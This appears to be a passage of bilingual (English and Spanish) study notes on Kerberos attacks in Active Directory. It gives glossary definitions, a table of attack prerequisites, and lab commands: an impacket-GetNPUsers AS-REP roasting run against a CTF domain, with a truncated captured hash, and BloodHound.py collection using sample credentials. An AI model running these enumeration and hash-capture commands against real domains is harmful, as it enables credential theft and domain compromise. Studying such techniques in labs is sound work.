Ticket Granting Ticket (TGT) - A ticket-granting ticket is an authentication ticket used to request service tickets from the TGS for specific resources from the domain.
Key Distribution Center (KDC) - The Key Distribution Center is a service for issuing TGTs and service tickets that consist of the Authentication Service and the Ticket Granting Service.
Authentication Service (AS) - The Authentication Service issues TGTs to be used by the TGS in the domain to request access to other machines and service tickets.
Ticket Granting Service (TGS) - The Ticket Granting Service takes the TGT and returns a ticket to a machine on the domain.
Service Principal Name (SPN) - A Service Principal Name is an identifier given to a service instance to associate a service instance with a domain service account. Windows requires that services have a domain service account which is why a service needs an SPN set.
KDC Long Term Secret Key (KDC LT Key) - The KDC key is based on the KRBTGT service account. It is used to encrypt the TGT and sign the PAC.
Client Long Term Secret Key (Client LT Key) - The client key is based on the computer or service account. It is used to check the encrypted timestamp and encrypt the session key.
Service Long Term Secret Key (Service LT Key) - The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.
Session Key - Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.
Privilege Attribute Certificate (PAC) - The PAC holds all of the user's relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.
Attack Privilege Requirements
Kerbrute Enumeration - No domain access required
Pass the Ticket - Access as a user to the domain required
Kerberoasting - Access as any user required
AS-REP Roasting - Access as any user required
Golden Ticket - Full domain compromise (domain admin) required
Silver Ticket - Service hash required
Skeleton Key - Full domain compromise (domain admin) required
enum4linux 10.10.129.219
Guia completa de Crackmapexec
AS-REP Roasting
Por lo general, cuando intenta solicitar la autenticación a través de Kerberos, primero la parte solicitante debe autenticarse en el DC.
Pero hay una opción, DONT_REQ_PREAUTHdonde el DC simplemente enviará el hash a un usuario no autenticado. AS-REP Roasting está buscando si algún usuario conocido tiene esta opción configurada.
$ impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users-kerbrute
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:de15a92de8e4d862924076adb6e989db$d0dfc38.....
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
If you have domain credentials you can run a python bloodhound ingestor from any platform so you don't need to depend on Windows.
Download it from
https://github.com/fox-it/BloodHound.py
systemctl restart docker
git clone https://github.com/fox-it/BloodHound.py.git
docker build -t bloodhound .
docker run -v ${PWD}:/bloodhound-data -it bloodhound
bloodhound-python -u alice -p Password01 -d svcorp.com -gc sv-dc01.svcorp.com -c all -ns 10.10.10.111